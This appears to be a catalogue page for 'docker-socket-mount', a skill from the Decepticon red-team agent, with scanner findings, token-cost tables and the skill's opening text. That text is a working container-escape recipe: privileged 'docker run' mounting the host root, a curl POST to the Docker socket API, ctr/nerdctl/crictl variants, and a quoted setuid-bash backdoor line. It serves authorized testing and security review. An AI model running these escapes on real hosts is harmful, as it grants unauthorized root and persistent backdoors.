Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill docker-socket-mountgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/docker-socket-mount)<a href="https://agentmods.dev/skills/purpleailab/decepticon/docker-socket-mount"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/docker-socket-mount/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/docker-socket-mount"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/docker-socket-mount.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 13 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 3 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 14 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 91 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 19 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 36 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 29 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 53 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 46 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Tool Misuse · line 91 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- medium MCP Rug Pull · line 3 Docker image references without a specific tag (:latest is implicit) or digest (@sha256:...) can be silently replaced by a malicious image.Fix: Pin the image: image:tag or image@sha256:abc123
- medium MCP Rug Pull · line 29 Docker image references without a specific tag (:latest is implicit) or digest (@sha256:...) can be silently replaced by a malicious image.Fix: Pin the image: image:tag or image@sha256:abc123
- medium Data Exfiltration · line 35 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Privilege Escalation · line 80 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00067 | $0.01052 |
| Opus 5.5 | $0.00027 | $0.00421 |
| Sonnet 5.5 | $0.00013 | $0.00210 |
| Haiku 4.5 | $0.00007 | $0.00105 |
Grade B, and why
docker-socket-mount scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# Or use curl on the UNIX socket: Copies of this mod
1 near-identical copy found in the catalogue:
- docker-socket-mount — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 94 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Docker / Containerd Socket Mount Escape
A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.
Detect
ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1
Exploit — Docker socket
# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done — you're root on the host.
# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null
# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create
Exploit — containerd socket
# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
--mount type=bind,src=/,dst=/host,options=rbind \
docker.io/library/alpine:latest escape sh -c 'chroot /host'
# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited — fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /host
Exploit — CRI-O socket
crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.
Common attack contexts
| Context | Why the socket is mounted |
|---|---|
| Jenkins/GitLab CI runners | Build Docker images inside the build container |
| ArgoCD / Flux | Run pre-/post-sync hooks that build images |
| Docker-in-Docker (DinD) in K8s | Same — build pipelines, kaniko alternatives |
| Diagnostic sidecars | Container-level metrics/log shippers |
| Buildkit daemon w/ ungated rootless socket | Same primitive, less restricted env |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 94 lines · 67 tokens per session scan B a858c69b0249
docker-socket-mount is a skill published in the GitHub repository PurpleAILAB/Decepticon (6,286 stars, last pushed 2d ago), licensed Apache-2.0. It adds 67 tokens to every session and 1,052 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it B with 2 findings (asks for root, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
analyzing-docker-container-forensics
Use when investigate compromised Docker containers by analyzing images, layers, volumes, logs, and runtime artifacts to identify malicious activity and evidence. Use when working with analyzing docker container forensics.
analyzing-kubernetes-audit-logs
Use when parses Kubernetes API server audit logs (JSON lines) to detect exec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat detection rules from audit event patterns. Use when investigating Kubernetes cluster compromise or building k8s-specific SIEM…
redteam-container-detail-pack
Domain routing and boundary guidance for authorized container and orchestration security testing, including Docker escape, Kubernetes privilege escalation, image vulnerabilities, and service mesh bypasses. Use when a task belongs to the container testing domain and needs scope, evidence, pivot, or exit criteria.
k8s-security-policies
Implement Kubernetes security policies including NetworkPolicy, PodSecurityPolicy, and RBAC for production-grade security. Use when securing Kubernetes clusters, implementing network isolation, or enforcing pod security standards.
helm-chart-scaffolding
Design, organize, and manage Helm charts for templating and packaging Kubernetes applications with reusable configurations. Use when creating Helm charts, packaging Kubernetes applications, or implementing templated deployments.
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors, served via preview URL.